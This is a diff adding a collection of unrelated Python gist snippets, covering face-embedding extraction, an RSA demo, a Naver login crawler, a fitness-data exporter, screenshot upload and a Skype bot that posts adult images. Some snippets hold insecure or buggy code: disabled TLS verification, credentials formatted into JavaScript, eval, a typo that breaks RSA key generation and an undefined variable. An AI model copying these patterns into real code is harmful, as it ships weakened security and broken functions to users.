+        ret[:, :, 0] = ret[:, :, 1] = ret[:, :, 2] = img[:, :, 0]
+        return ret
+    else:
+        return img
+def read_file(input_queue, image_size):
+    # reader = tf.WholeFileReader()
+    # key, value = reader.read(filename_queue)
+
+    filename, label = input_queue
+    images = []
+
+    # filenames = tf.Print(filenames, data=[input_queue.size()], message="Number left: ")
+    
+    #for filename in tf.unstack(filenames):
+
+    file_contents = tf.read_file(filename)
+
+    image = tf.cond(tf.py_func(lambda x: x.lower().endswith('.png'), [filename], tf.bool), \
+                    lambda: tf.image.decode_png(file_contents), \
+                    lambda: tf.image.decode_jpeg(file_contents))
+
+    image = tf.py_func(to_rgb, [image], tf.uint8)
+    image = tf.image.resize_image_with_crop_or_pad(image, image_size, image_size)
+    image.set_shape((image_size, image_size, 3))
+    image = tf.image.per_image_standardization(image)
+
+
+    return [image], [label]
+
+def input_pipeline(args, filenames, outnames, batch_size, num_epochs=None):
+    filename_queue = tf.train.slice_input_producer( \
+            [ filenames, outnames ] ,num_epochs=num_epochs, shuffle=False, capacity=args.capacity)
+    
+    image_list = [ read_file(filename_queue, args.image_size)
+                    for _ in range(args.num_threads)]
+
+    image_batch, label_batch = tf.train.batch_join(image_list, batch_size, \
+            capacity=4 * args.num_threads * args.batch_size, enqueue_many=True, \
+            allow_smaller_final_batch=True)
+    return image_batch, label_batch
+
+def main(args):
+    with tf.Graph().as_default():
+        with tf.Session() as sess:
+
+            input_filenames = []
+            output_filenames = []
+            input_dir = os.path.abspath(args.input_dir)
+            output_dir = os.path.abspath(args.output_dir)
+
+            for path, subdirs, files in os.walk(input_dir):
+                for name in files:
+                    if name.lower().endswith('.jpg') or name.lower().endswith('.png')  :
+                        filename = os.path.join(path, name)
+                        
+                        out_folder = path.replace(input_dir, output_dir)
+
+                        if not os.path.isdir(out_folder):
+                            os.makedirs(out_folder)
+                        
+                        outname = filename.replace(input_dir, output_dir) + args.file_ending
+                        input_filenames += [filename]
+                        output_filenames += [outname]
+            
+            # load the model
+            # print("Loading trained model...\n")
+            # facenet.load_model(args.trained_model_dir)
+
+
+
+            batch_size_placeholder = tf.placeholder(tf.int32, name='batch_size')
+
+            phase_train_placeholder = tf.placeholder(tf.bool, name='phase_train')
+            image_batch, label_batch = input_pipeline(args, input_filenames, output_filenames, batch_size_placeholder, 1)
+
+            network = importlib.import_module(args.model_def)
+            batch_norm_params = {
+                # Decay for the moving averages
+                'decay': 0.995,
+                # epsilon to prevent 0s in variance
+                'epsilon': 0.001,
+                # force in-place updates of mean and variance estimates
+                'updates_collections': None,
+                # Moving averages ends up in the trainable variables collection
+                'variables_collections': [ tf.GraphKeys.TRAINABLE_VARIABLES ],
+                # Only update statistics during training mode
+                'is_training': phase_train_placeholder
+            }
+            # Build the inference graph
+            prelogits, _ = network.inference(image_batch, 0.8, 
+                phase_train=phase_train_placeholder, weight_decay=2e-4)
+            bottleneck = slim.fully_connected(prelogits, 128, activation_fn=None, 
+                    weights_initializer=tf.truncated_normal_initializer(stddev=0.1), 
+                    weights_regularizer=slim.l2_regularizer(2e-4),
+                    normalizer_fn=slim.batch_norm,
+                    normalizer_params=batch_norm_params,
+                    scope='Bottleneck', reuse=False)
+
+            embeddings = tf.nn.l2_normalize(bottleneck, 1, 1e-10, name='embeddings')
+
+            restore_vars = [var for var in tf.trainable_variables() if not var.name.startswith('Logits')]
+
+            saver = tf.train.Saver(restore_vars, max_to_keep=3)
+
+
+            # Initialize the variables (like the epoch counter).
+            sess.run(tf.global_variables_initializer())
+            sess.run(tf.local_variables_initializer())
+
+            saver.restore(sess, args.pretrained_model)
+
+            nrof_images = len(input_filenames)
+            nrof_batches = len(input_filenames) // args.batch_size + 1
+
+            print ("Total number of images: ", nrof_images)
+
+            emb_array = np.zeros((nrof_images, args.embedding_size))
+            coord = tf.train.Coordinator()
+            threads = tf.train.start_queue_runners(sess=sess, coord=coord)
+
+            print ("Facenet extracting ... \n")
+
+            f_output_filenames = []
+            try:
+                for i in tqdm(range(nrof_batches)):
+                    start_index = i*args.batch_size
+                    end_index = min((i+1)*args.batch_size, nrof_images)
+
+                    # paths_batch = input_filenames[start_index:end_index]
+                    # images = facenet.load_data(paths_batch, do_random_crop=False, do_random_flip=False, image_size=args.image_size, do_prewhiten=True)
+
+                    batch_size = end_index - start_index
+                    feed_dict = { batch_size_placeholder:batch_size, phase_train_placeholder:False}
+
+                    
+                    features_batch, names_batch = sess.run([ embeddings, label_batch] , feed_dict=feed_dict)
+                    emb_array[start_index:end_index,:] = features_batch
+
+                    f_output_filenames += names_batch.tolist()
+                    # name_batch = sess.run(image_batch, feed_dict=feed_dict)
+                    # print ("Output length: ", len(name_batch))
+                    # print ("name shape: ", name_batch[0].shape)
+            except tf.errors.OutOfRangeError:
+                print('Done training -- epoch limit reached')
+            finally:
+                # When done, ask the threads to stop.
+                coord.request_stop()
+
+            # Wait for threads to finish.
+            coord.join(threads)
+            sess.close()
+
+            print ("Extracting features Done. Saving to files ... \n")
+
+            # for i, name in enumerate(output_filenames):
+            #     outname = name.replace(input_dir, output_dir) + args.file_ending
+            #     output_filenames[i] = outname
+
+            for i in tqdm(range(len(f_output_filenames))):
+                save_mat(f_output_filenames[i], emb_array[i, :])
+
+
+def parse_argument(argv):
+    parser = argparse.ArgumentParser(description=
+        'Extract facenet features to MegaFace features file')
+    parser.add_argument('input_dir', help='Path to MegaFace Features')
+    parser.add_argument('output_dir', help='Path to FaceScrub Features')
+
+    parser.add_argument('pretrained_model', help='Deep model to extract features')
+    parser.add_argument('--file_ending',help='Ending appended to original photo files. i.e. 11084833664_0.jpg_LBP_100x100.bin => _LBP_100x100.bin',
+                        default='_facenet.bin')
+    parser.add_argument('--batch_size', type=int, default=128)
+    parser.add_argument('--image_size', type=int, default=160)
+    parser.add_argument('--embedding_size', type=int, default=128)
+    parser.add_argument('--capacity', type=int, default=10000)
+    parser.add_argument('--num_threads', type=int, default=4)
+    parser.add_argument('--model_def', type=str,
+        help='Model definition. Points to a module containing the definition of the inference graph.',\
+        default='models.inception_resnet_v1')
+
+    return parser.parse_args(argv)
+
+if __name__ == '__main__':
+    main(parse_argument(sys.argv[1:]))
\ No newline at end of file
diff --git a/hard-gists/8ff8e31ee1a2a9585a5a/._snippet.py b/hard-gists/8ff8e31ee1a2a9585a5a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8ff8e31ee1a2a9585a5a/._snippet.py differ
diff --git a/hard-gists/8ff8e31ee1a2a9585a5a/snippet.py b/hard-gists/8ff8e31ee1a2a9585a5a/snippet.py
new file mode 100644
index 00000000..918d1345
--- /dev/null
+++ b/hard-gists/8ff8e31ee1a2a9585a5a/snippet.py
@@ -0,0 +1,53 @@
+#!/usr/bin/env python
+#-*- coding: utf-8 -*-
+from Crypto.Cipher import PKCS1_v1_5
+from Crypto.PublicKey import RSA
+from Crypto.Hash import SHA
+from Crypto import Random
+import base64
+import StringIO
+
+# passphrase, random string => private key, public key pair
+# encrypt with public key
+# decrypt with pem, passphrase
+
+def gen_key_pair(passpharse):
+    random_generator = Random.new().read
+    key = RSA.generate(2048, random_generator)
+    return key.exportKey(passphrase=passphrase), key.publickey().exportKey()
+
+def rsa_encrypt(message, pub):
+    keystream = StringIO.StringIO(pub)
+    pubkey = RSA.importKey(keystream.read())
+    h = SHA.new(message)
+    cipher = PKCS1_v1_5.new(pubkey)
+    return base64.encodestring(cipher.encrypt(message+h.digest()))
+
+def rsa_decrypt(ciphertext, pem, passphrase):
+    ciphertext = base64.decodestring(ciphertext)
+    keystream = StringIO.StringIO(pem)
+    pemkey = RSA.importKey(keystream.read(), passphrase=passphrase)
+    dsize = SHA.digest_size
+    sentinel = Random.new().read(15+dsize)
+    cipher = PKCS1_v1_5.new(pemkey)
+    message = cipher.decrypt(ciphertext, sentinel)
+    digest = SHA.new(message[:-dsize]).digest()
+    if digest == message[-dsize:]:
+        return message[:-dsize]
+    else:
+        raise ValueError('Cannot decrypt message')
+
+
+if __name__ == '__main__':
+    message = 'To be encrypted'
+    passphrase = 'Your Passphrase'
+
+    pem, pub = gen_key_pair(passphrase)
+    print 'Private Key:\n%s\n' % pem
+    print 'Public Key:\n%s\n' % pub
+
+    encdata = rsa_encrypt(message, pub)
+    print 'Encrypted Message:\n', encdata
+
+    decdata = rsa_decrypt(encdata, pem, passphrase)
+    print 'Decrypted Message:\n', decdata
diff --git a/hard-gists/9000222/._snippet.py b/hard-gists/9000222/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9000222/._snippet.py differ
diff --git a/hard-gists/9000222/snippet.py b/hard-gists/9000222/snippet.py
new file mode 100644
index 00000000..27da5ee1
--- /dev/null
+++ b/hard-gists/9000222/snippet.py
@@ -0,0 +1,49 @@
+# -*- coding: utf-8 -*-
+
+#PyQt4.QtGui imports
+from PyQt4.QtGui import QApplication
+from PyQt4.QtGui import QMainWindow
+from PyQt4.QtGui import QTextEdit
+from PyQt4.QtGui import QMenu
+from PyQt4.QtGui import QCursor
+
+#PyQt4.QtGui imports
+from PyQt4.QtCore import Qt
+from PyQt4.QtCore import SIGNAL
+from PyQt4.QtCore import QTextCodec
+
+
+#sys import
+import sys
+
+
+class MainWindow(QMainWindow):
+
+    def __init__(self):
+        super(MainWindow, self).__init__()
+        self.setWindowTitle("Custom Menu")
+
+        self.text_edit = QTextEdit()
+        self.text_edit.setContextMenuPolicy(Qt.CustomContextMenu)
+
+        self.setCentralWidget(self.text_edit)
+
+        self.connect(self.text_edit, SIGNAL('customContextMenuRequested(const QPoint &)'), self.context_menu)
+
+    def context_menu(self):
+        menu = QMenu(self)
+        menu.addAction("Primera opción")
+        menu.addAction("Segunda opción")
+        menu.addAction(":)")
+        menu.exec_(QCursor.pos())
+
+
+#Init Qt Application
+app = QApplication(sys.argv)
+
+QTextCodec.setCodecForCStrings(QTextCodec.codecForName('utf-8'))
+
+window = MainWindow()
+window.show()
+
+sys.exit(app.exec_())
\ No newline at end of file
diff --git a/hard-gists/900514/._snippet.py b/hard-gists/900514/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/900514/._snippet.py differ
diff --git a/hard-gists/900514/snippet.py b/hard-gists/900514/snippet.py
new file mode 100644
index 00000000..6276244c
--- /dev/null
+++ b/hard-gists/900514/snippet.py
@@ -0,0 +1,38 @@
+from twitter_search import search_twitter
+import random
+import sys
+import re
+
+class Thingy(object):
+	def __init__(self, words):
+		self.words = words
+		self.begins = dict([(word, []) for word in words])
+		self.ends = dict([(word, []) for word in words])
+	def start(self):
+		import urllib
+		query = '?' + urllib.urlencode({'q': ' OR '.join(self.words), 'rpp': 100})
+		search_twitter(query, self.feed, maxpages=20)
+	def feed(self, tweet):
+		text = tweet['text']
+		for s in self.words:
+			loc = text.find(s.lower())
+			if loc != -1:
+				begins = text[loc:].split(" ")[:random.randrange(2,8)]
+				ends = text[:loc+len(s)].split(" ")[-random.randrange(2,8):]
+				self.begins[s].append(begins)
+				self.ends[s].append(ends)
+		
+	def generate(self):
+		for i in range(1000):
+			s = random.choice(self.words)
+			begin = ' '.join(random.choice(self.begins[s]))
+			end = ' '.join(random.choice(self.ends[s]))
+			begin2 = ' '.join(random.choice(self.begins[s]))
+			begin3 = ' '.join(random.choice(self.begins[s]))
+			target = '\n\t'.join([': '.join([end, begin]), begin2, begin3])
+			if re.search(r'^[a-zA-Z,.:;?!\- \n\t]*$', target):
+				print target
+
+generator = Thingy(['voicing', 'shucked', 'slant'])
+generator.start()
+generator.generate()
diff --git a/hard-gists/9012444/._snippet.py b/hard-gists/9012444/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9012444/._snippet.py differ
diff --git a/hard-gists/9012444/snippet.py b/hard-gists/9012444/snippet.py
new file mode 100644
index 00000000..d79232da
--- /dev/null
+++ b/hard-gists/9012444/snippet.py
@@ -0,0 +1,62 @@
+#/usr/bin/env python
+# vim: set fileencoding=utf-8
+
+from ghost import Ghost
+from config import COOKIE_FILE, LOGIN_ID, LOGIN_PW
+import urllib2
+import cookielib
+import Cookie
+
+class NaverCrawler:
+    # 새 크롤러를 만듭니다.
+    def __init__(self, id, pw, displayFlag = False):
+        # 새 Ghost instance를 만들어서 사용합니다.
+        self.ghost = Ghost(display = displayFlag, wait_timeout = 20)
+        self.currentPage = None
+        self.login(id, pw)
+
+    # 주어진 페이지를 엽니다. 이미 그 페이지에 있으면 그대로 있습니다.
+    def openPage(self, url):
+        if self.currentPage == url:
+            return
+        self.ghost.open(url)
+        self.ghost.wait_for_page_loaded()
+        self.currentPage = url
+
+    # 네이버 로그인을 수행합니다.
+    def login(self, id, pw):
+        # 네이버 메인 페이지를 엽니다.
+        self.openPage('http://www.naver.com')
+
+        # inner frame에 들어있는 로그인 폼에 값을 채워넣고 클릭을 지시합니다.
+        # 이부분은 javascript를 활용했습니다.
+        self.ghost.evaluate("""
+        (function() {        
+          var innerDoc = document.getElementById('loginframe').contentWindow.document;
+          innerDoc.getElementById('id').value = '%s';
+          innerDoc.getElementById('pw').value = '%s';
+          innerDoc.getElementsByClassName('btn_login')[0].click();
+        })();
+        """ % (id, pw), expect_loading = True)
+
+        # 로그인 결과를 기다립니다.
+        self.ghost.wait_for_selector('#query')
+
+    def cloneCookieJar(self):
+        cookieJar = cookielib.LWPCookieJar()
+        self.ghost.save_cookies(cookieJar)
+        return cookieJar
+
+    # 네이버 메인 페이지에서 검색을 수행합니다.
+    def main_search(self, query):
+        # 네이버 메인 페이지를 엽니다.
+        self.openPage('http://www.naver.com')
+
+        self.ghost.wait_for_selector('#query')
+        self.ghost.fill("#sform", { "query": query })
+        self.ghost.fire_on('#sform', 'submit', expect_loading = True)
+
+if __name__ == "__main__":
+    crawler = NaverCrawler(LOGIN_ID, LOGIN_PW, False)
+    cj = crawler.cloneCookieJar()
+    cj.save(COOKIE_FILE)
\ No newline at end of file
diff --git a/hard-gists/9026148/._snippet.py b/hard-gists/9026148/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9026148/._snippet.py differ
diff --git a/hard-gists/9026148/snippet.py b/hard-gists/9026148/snippet.py
new file mode 100644
index 00000000..2646ac56
--- /dev/null
+++ b/hard-gists/9026148/snippet.py
@@ -0,0 +1,85 @@
+# quick & dirty export of workouts to *.gpx file with timestamps from MapMyFitness API
+# for purpose of moving to other apps (tested with Endomondo)
+# based on: https://developer.mapmyapi.com/docs/read/Authentication2
+# needs API access request "Request a key" @ https://developer.mapmyapi.com/
+from __future__ import unicode_literals
+import requests
+import urlparse
+import webbrowser
+import json
+from requests_oauthlib import OAuth2
+from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
+from datetime import datetime, timedelta
+import sys, os
+import pytz
+from dateutil.parser import parse
+
+import gpxpy
+import gpxpy.gpx
+
+LIMIT_WORKOUTS = 100 # no paging
+
+# get access token for api
+client_id = 'CLIENT_ID'
+client_secret = 'SECRET'
+redirect_uri = 'http://localhost.mapmyapi.com:12345/callback'
+authorize_url = 'https://www.mapmyfitness.com/v7.0/oauth2/authorize/?client_id=%s&response_type=code&redirect_uri=%s' % (client_id, redirect_uri)
+
+webbrowser.open(authorize_url)
+
+class AuthorizationHandler(BaseHTTPRequestHandler):
+    def do_GET(self):
+        self.send_response(200, 'OK')
+        self.send_header('Content-Type', 'text/html')
+        self.end_headers()
+        self.server.path = self.path
+server_address = (urlparse.urlparse(redirect_uri).hostname, urlparse.urlparse(redirect_uri).port)
+httpd = HTTPServer(server_address, AuthorizationHandler)
+httpd.handle_request()
+httpd.server_close()
+callback_url = urlparse.urlparse(httpd.path)
+authorize_code = urlparse.parse_qs(callback_url.query)['code'][0]
+
+access_token_url = 'https://oauth2-api.mapmyapi.com/v7.0/oauth2/access_token/'
+access_token_data = {'grant_type': 'authorization_code', 'client_id': client_id, 'client_secret': client_secret, 'code': authorize_code}
+response = requests.post(url=access_token_url, data=access_token_data, headers={'Api-Key': client_id})
+access_token = response.json()
+oauth = OAuth2(client_id=client_id, token={'token_type': 'Bearer','access_token': access_token['access_token']})
+
+# get workout data
+def get_response_json(url):
+    response = requests.get(url=url, auth=oauth, verify=False, headers={'Api-Key': client_id})
+    return response.json()
+
+self_url = 'https://oauth2-api.mapmyapi.com/v7.0/user/self/'
+user_id = get_response_json(self_url)['_links']['self'][0]['id']
+
+workouts_url = 'https://oauth2-api.mapmyapi.com/v7.0/workout/?user={0}&limit={1}&offset=0'.format(user_id, LIMIT)
+workout_url = 'https://oauth2-api.mapmyapi.com/v7.0/workout/{0}/?field_set=time_series'
+
+workouts_list = get_response_json(workouts_url)
+workouts = []
+for workout in workouts_list['_embedded']['workouts']:
+    workout_id = workout['_links']['self'][0]['id']
+    workout_data = get_response_json(workout_url.format(workout_id))
+    workouts.append(workout_data)
+
+# create gpx file from workouts data
+gpx = gpxpy.gpx.GPX()
+
+for workout in workouts:
+    gpx_track = gpxpy.gpx.GPXTrack()
+    gpx.tracks.append(gpx_track)
+    gpx_segment = gpxpy.gpx.GPXTrackSegment()
+    gpx_track.segments.append(gpx_segment)
+    if workout['has_time_series']:
+        start_time = parse(workout['start_datetime'])
+        for point in workout['time_series']['position']:
+            lat = point[1]['lat']
+            lng = point[1]['lng']
+            elev = point[1]['elevation']
+            time = start_time + timedelta(seconds=round(point[0]))
+            gpx_segment.points.append(gpxpy.gpx.GPXTrackPoint(lat, lng, elevation=elev, time=time))
+
+print gpx.to_xml()
+# python mmr_workout_gpx_export.py > export.gpx
\ No newline at end of file
diff --git a/hard-gists/9040475/._snippet.py b/hard-gists/9040475/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9040475/._snippet.py differ
diff --git a/hard-gists/9040475/snippet.py b/hard-gists/9040475/snippet.py
new file mode 100644
index 00000000..b45c46ed
--- /dev/null
+++ b/hard-gists/9040475/snippet.py
@@ -0,0 +1,66 @@
+import numpy as np
+import cv2
+
+# cellular automata class based on code from http://www.loria.fr/~rougier/teaching/numpy/scripts/game-of-life-numpy.py
+class CA(object):
+    def __init__(self, s, b, shape, init_fill=0.1):
+        assert(type(s) == type([]) and type(b) == type([]))
+        self.s,self.b = s,b
+        self.z = (np.random.random(shape) < init_fill).astype("uint8")
+
+    def __call__(self):
+        N = (self.z[0:-2,0:-2] + self.z[0:-2,1:-1] + self.z[0:-2,2:] +
+             self.z[1:-1,0:-2]                     + self.z[1:-1,2:] +
+             self.z[2:  ,0:-2] + self.z[2:  ,1:-1] + self.z[2:  ,2:])
+
+        # Apply rules
+        tmp = None
+        for b in self.b:
+            if tmp is None:
+                tmp = "((N==%d)"%b
+            else:
+                tmp += "|(N==%d)"%b
+        tmp += ") & (self.z[1:-1,1:-1]==0)"
+        birth = eval(tmp)
+        tmp = None
+        for s in self.s:
+            if tmp is None:
+                tmp = "((N==%d)"%s
+            else:
+                tmp += "|(N==%d)"%s
+        tmp += ") & (self.z[1:-1,1:-1]==1)"
+        survive = eval(tmp)
+        self.z[...] = 0
+        self.z[1:-1,1:-1][birth | survive] = 1
+
+    def add_noise(self, amount=0.1):
+        if amount == 0.:
+            return
+        n = np.random.random(self.z.shape) < amount
+        self.z[n] = 1
+
+    def show(self,scale=(1,1)):
+        cv2.imshow("CA", cv2.resize(self.z*255, (self.z.shape[0]*scale[0],self.z.shape[1]*scale[1])))
+        cv2.waitKey(5)
+
+if __name__ == '__main__':
+    # mazectric ruleset B3/S1234
+    # 100 x 80 cell maze
+    # initial chance of a cell being on is 80%. Higher numbers tend to converge more quickly
+    c = CA([1,2,3,4],[3],(100,80),0.8)
+    # scale the output by 5x so it's easier to see
+    scl = (5,5)
+    c.show(scl)
+    # 20 outer iterations
+    #   iterate 100 times then introduce some noise to try and unstick cycles
+    for i in range(20):
+        for i in range(100):
+            c()
+        c.show(scl)
+        # add less noise each outer iteration until the last where there's no noise
+        c.add_noise(0.5 - ((i+1)/20.)*0.5)
+    # one final set of 100 iterations to clear up any remaining noise
+    for i in range(100):
+        c()
+    # hit a key to exit
+    cv2.waitKey(0)
diff --git a/hard-gists/905137/._snippet.py b/hard-gists/905137/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/905137/._snippet.py differ
diff --git a/hard-gists/905137/snippet.py b/hard-gists/905137/snippet.py
new file mode 100644
index 00000000..b4a406b5
--- /dev/null
+++ b/hard-gists/905137/snippet.py
@@ -0,0 +1,210 @@
+#!/usr/bin/env python
+
+import itertools
+import mimetools
+import mimetypes
+from cStringIO import StringIO
+import urllib
+import urllib2
+import gtk
+
+class MultiPartForm(object):
+    """Accumulate the data to be used when posting a form."""
+
+    def __init__(self):
+        self.form_fields = []
+        self.files = []
+        self.boundary = mimetools.choose_boundary()
+        return
+    
+    def get_content_type(self):
+        return 'multipart/form-data; boundary=%s' % self.boundary
+
+    def add_field(self, name, value):
+        """Add a simple field to the form data."""
+        self.form_fields.append((name, value))
+        return
+
+    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
+        """Add a file to be uploaded."""
+        body = fileHandle.read()
+        if mimetype is None:
+            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+        self.files.append((fieldname, filename, mimetype, body))
+        return
+    
+    def __str__(self):
+        """Return a string representing the form data, including attached files."""
+        # Build a list of lists, each containing "lines" of the
+        # request.  Each part is separated by a boundary string.
+        # Once the list is built, return a string where each
+        # line is separated by '\r\n'.  
+        parts = []
+        part_boundary = '--' + self.boundary
+        
+        # Add the form fields
+        parts.extend(
+            [ part_boundary,
+              'Content-Disposition: form-data; name="%s"' % name,
+              '',
+              value,
+            ]
+            for name, value in self.form_fields
+            )
+        
+        # Add the files to upload
+        parts.extend(
+            [ part_boundary,
+              'Content-Disposition: file; name="%s"; filename="%s"' % \
+                 (field_name, filename),
+              'Content-Type: %s' % content_type,
+              '',
+              body,
+            ]
+            for field_name, filename, content_type, body in self.files
+            )
+        
+        # Flatten the list and add closing boundary marker,
+        # then return CR+LF separated data
+        flattened = list(itertools.chain(*parts))
+        flattened.append('--' + self.boundary + '--')
+        flattened.append('')
+        return '\r\n'.join(flattened)
+
+
+
+
+def screenshot(url, **args):
+    return WebKitScreenShot(url, **args).image
+
+
+class WebKitScreenShot(object):
+    """
+    make fullscreen webkit window, then take screenshot into self.image
+    """
+    def __init__(self, url=None,
+                 font_size=14,
+                 font_default="VLGothic",
+                 font_serif="VLGothic",
+                 font_sans_serif="VLGothic",
+                 font_monospace="VLGothic",
+                 size=None):
+        import webkit
+        gtk.gdk.threads_init()
+        #gtk.gdk.threads_enter()
+
+        window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+        scr = gtk.ScrolledWindow()
+        window.move(0, 0)
+        if not size: 
+            size = (gtk.gdk.screen_width(), gtk.gdk.screen_height())
+        window.resize(*size)
+        webview = webkit.WebView()
+
+        # webkit settings
+        settings = webkit.WebSettings()
+        settings.set_property("serif-font-family", font_serif)
+        settings.set_property("sans-serif-font-family", font_sans_serif)
+        settings.set_property("monospace-font-family", font_monospace)
+        settings.set_property("default-font-family", font_default)
+        settings.set_property("default-font-size", font_size)
+        webview.set_settings(settings)
+        
+        #window.add(scr)
+        #scr.add(webview)
+        
+        window.add(webview)
+        
+        webview.connect("load-finished", self._loaded)
+        webview.open(url)
+        self.webview = webview
+        window.show_all()
+        self.window = window
+        gtk.main()
+        gtk.gdk.threads_leave()
+
+
+    def _loaded(self, view, frame):
+        gtk.gdk.threads_enter()
+        #import gtk
+        import Image
+        try:
+            #print dir(frame.get_global_context())
+            pixmap = view.get_snapshot()
+
+            #print pixmap.get_size() 
+            
+            width, height = view.window.get_size()
+            # see: http://www.pygtk.org/docs/pygtk/class-gdkpixbuf.html
+            pixbuf = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB,
+                                    False, 8, width, height)
+            #pixbuf.get_from_drawable(view.window, view.window.get_colormap(),
+            pixbuf.get_from_drawable(pixmap, view.window.get_colormap(),
+                                     0, 0, 0, 0, width, height)
+            self.image = Image.fromstring("RGB", (width, height),
+                                     pixbuf.get_pixels())
+            gtk.main_quit()
+        except:
+            import traceback
+            traceback.print_exc()
+        gtk.gdk.threads_leave()
+
+
+def check_url(url):
+    from urlparse import urlparse
+    ret = urlparse(url)
+    scheme = ret.scheme
+    if scheme not in ["http", "https"]:
+        return False
+    hostname = ret.hostname
+    if hostname.startswith("192.168"):
+        return False
+    return True
+
+def gyazo(url):
+    if not check_url(url):
+        print "Permission denied"
+        return
+    font = "VLGothic"
+    import Image
+    image = screenshot(url,
+                           font_default=font, font_sans_serif=font,
+                           font_serif=font, font_monospace=font)
+    import tempfile
+    tmp = tempfile.TemporaryFile()
+    image.save(tmp, "png")
+    tmp.seek(0)
+
+    form = MultiPartForm()
+    form.add_field('id', '')
+    
+    form.add_file('imagedata', 'gyazo.com', 
+                  fileHandle=tmp)
+
+    request = urllib2.Request('http://gyazo.com/upload.cgi')
+    request.add_header('User-agent', 'Gyazo/1.0)')
+    body = str(form)
+    request.add_header('Content-type', form.get_content_type())
+    request.add_header('Content-length', len(body))
+    request.add_data(body)
+
+    print urllib2.urlopen(request).read()
+
+if __name__ == '__main__':
+
+    from optparse import OptionParser
+    parser = OptionParser()
+    parser.usage += " URL"
+
+    opts, args = parser.parse_args()
+    if len(args) == 0:
+        parser.print_help()
+        import sys
+        sys.exit(-1)
+
+    url = args[0]
+    gyazo(url)
+
+
+
+
diff --git a/hard-gists/905380/._snippet.py b/hard-gists/905380/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/905380/._snippet.py differ
diff --git a/hard-gists/905380/snippet.py b/hard-gists/905380/snippet.py
new file mode 100644
index 00000000..169fc26d
--- /dev/null
+++ b/hard-gists/905380/snippet.py
@@ -0,0 +1,160 @@
+# -*- coding: utf-8 -*-
+from plugpy.ext.skype import SimpleSkypePlugin 
+import itertools
+import mimetools
+import mimetypes
+from cStringIO import StringIO
+import urllib2
+import os
+import feedparser
+from pyquery import PyQuery as pq
+import random
+import tempfile
+import Image
+
+url = "http://pinkimg.blog57.fc2.com/?xml"
+
+
+class MultiPartForm(object):
+    """Accumulate the data to be used when posting a form."""
+
+    def __init__(self):
+        self.form_fields = []
+        self.files = []
+        self.boundary = mimetools.choose_boundary()
+        return
+    
+    def get_content_type(self):
+        return 'multipart/form-data; boundary=%s' % self.boundary
+
+    def add_field(self, name, value):
+        """Add a simple field to the form data."""
+        self.form_fields.append((name, value))
+        return
+
+    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
+        """Add a file to be uploaded."""
+        body = fileHandle.read()
+        if mimetype is None:
+            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+        self.files.append((fieldname, filename, mimetype, body))
+        return
+    
+    def __str__(self):
+        """Return a string representing the form data, including attached files."""
+        # Build a list of lists, each containing "lines" of the
+        # request.  Each part is separated by a boundary string.
+        # Once the list is built, return a string where each
+        # line is separated by '\r\n'.  
+        parts = []
+        part_boundary = '--' + self.boundary
+        
+        # Add the form fields
+        parts.extend(
+            [ part_boundary,
+              'Content-Disposition: form-data; name="%s"' % name,
+              '',
+              value,
+            ]
+            for name, value in self.form_fields
+            )
+        
+        # Add the files to upload
+        parts.extend(
+            [ part_boundary,
+              'Content-Disposition: file; name="%s"; filename="%s"' % \
+                 (field_name, filename),
+              'Content-Type: %s' % content_type,
+              '',
+              body,
+            ]
+            for field_name, filename, content_type, body in self.files
+            )
+        
+        # Flatten the list and add closing boundary marker,
+        # then return CR+LF separated data
+        flattened = list(itertools.chain(*parts))
+        flattened.append('--' + self.boundary + '--')
+        flattened.append('')
+        return '\r\n'.join(flattened)
+
+def get_entries():
+    urls = []
+    d = feedparser.parse(url)
+    for a in d.entries:
+        urls.append(a.link)
+    return urls
+
+def get_image_list(url):
+    urls = []
+    conn = urllib2.urlopen(url)
+    page = conn.read()
+    d = pq(page)
+    for a in d(".entry_text img"):
+        src = pq(a).attr.src
+        if src.endswith("s.jpg"):
+            urls.append(src)
+    return urls
+
+def download(urls):
+    imgs = []
+    for url in urls:
+        conn = urllib2.urlopen(url)
+        data = conn.read()
+        f = tempfile.TemporaryFile()
+        f.write(data)
+        f.flush()
+        f.seek(0)
+        img = Image.open(f)
+        imgs.append(img)
+    return concat_img(imgs)
+
+def concat_img(imgs):
+    w = max(i.size[0] for i in imgs)
+    h = sum(i.size[1] for i in imgs)
+
+    result = Image.new("RGBA", (w, h))
+
+    y = 0
+    for i in imgs:
+        result.paste(i, (0, y))
+        y += i.size[1]
+
+    return result
+
+def get_concat_image(): 
+    urls = get_entries()
+    url = random.choice(urls)
+    image_urls = get_image_list(url)
+    return download(image_urls)
+
+def pink2gyazo():
+    image = get_concat_image()
+    import tempfile
+    tmp = tempfile.TemporaryFile()
+    image.save(tmp, "png")
+    tmp.seek(0)
+
+    form = MultiPartForm()
+    form.add_field('id', '')
+    
+    form.add_file('imagedata', 'gyazo.com', 
+                  fileHandle=tmp)
+
+    request = urllib2.Request('http://gyazo.com/upload.cgi')
+    request.add_header('User-agent', 'Gyazo/1.0)')
+    body = str(form)
+    request.add_header('Content-type', form.get_content_type())
+    request.add_header('Content-length', len(body))
+    request.add_data(body)
+
+    return urllib2.urlopen(request).read()
+
+
+class PinkPlugin(SimpleSkypePlugin):
+
+    alias = "#pink"
+
+    def on_message(self, *args):
+        return u"これでヌイてね %s" % pink2gyazo()
+
diff --git a/hard-gists/9056ad6e642b814090829edffb4ffd27/._snippet.py b/hard-gists/9056ad6e642b814090829edffb4ffd27/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9056ad6e642b814090829edffb4ffd27/._snippet.py differ
